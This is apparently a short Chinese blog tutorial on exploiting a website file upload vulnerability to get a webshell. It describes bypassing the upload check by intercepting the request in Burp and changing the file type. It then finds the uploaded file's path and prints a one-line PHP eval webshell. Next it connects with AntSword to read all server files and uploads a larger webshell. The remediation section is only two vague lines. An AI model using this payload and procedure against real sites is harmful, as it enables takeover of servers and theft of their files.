文件上传漏洞实战getshell分析 形成 利用 修复

文件上传漏洞利用及分析和修复

 

 

文章目录

• 前言
• 一、webshell是什么？
• 二、liyong
  • 1.上传
  • 2.防止
• 总结

 

---

前言

文件上传漏洞是指用户上传了一个可执行的脚本文件(php、jsp、xml、cer等文件),而WEB系统没有进行检测或逻辑做的不够安全。 文件上传功能本身没有问题,问题在于上传后如何处理及解释文件。 一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。

 

---

提示：以下是本篇文章正文内容，下面案例可供参考

一、webshell是什么？

简单说吧，他是正向木马。即为我们主动去找他

二、文件上传漏洞利用实战

1.上传

一般是后台。头像啥的

 

好了，我们来找找

OK。如果他限制我们上传，就得用点手段了。。。。

直接burp截包改数据类型，

 成功~！！

现在。F12开发者工具

 将元素审查针放到bak1.php

<input type="hidden" name="url1" id="h_url1" value="/uploads/20221220/76b9aff7d53c20d94b7144b77bd08611.php">

下面拼接URL 

http://www.xxx.com/uploads/20221220/76b9aff7d53c20d94b7144b77bd08611.php

以上就是小马地址

<?php
eval($_POST["pass"]);

上蚁剑

 

 可访问服务器全部文件

拉大马。并访问

 源码看我之前文

 

2.防止

加入严格的后端限制

php过滤危险函数

 

 

---

总结

以上是全部内容，感谢关注。可以私我学习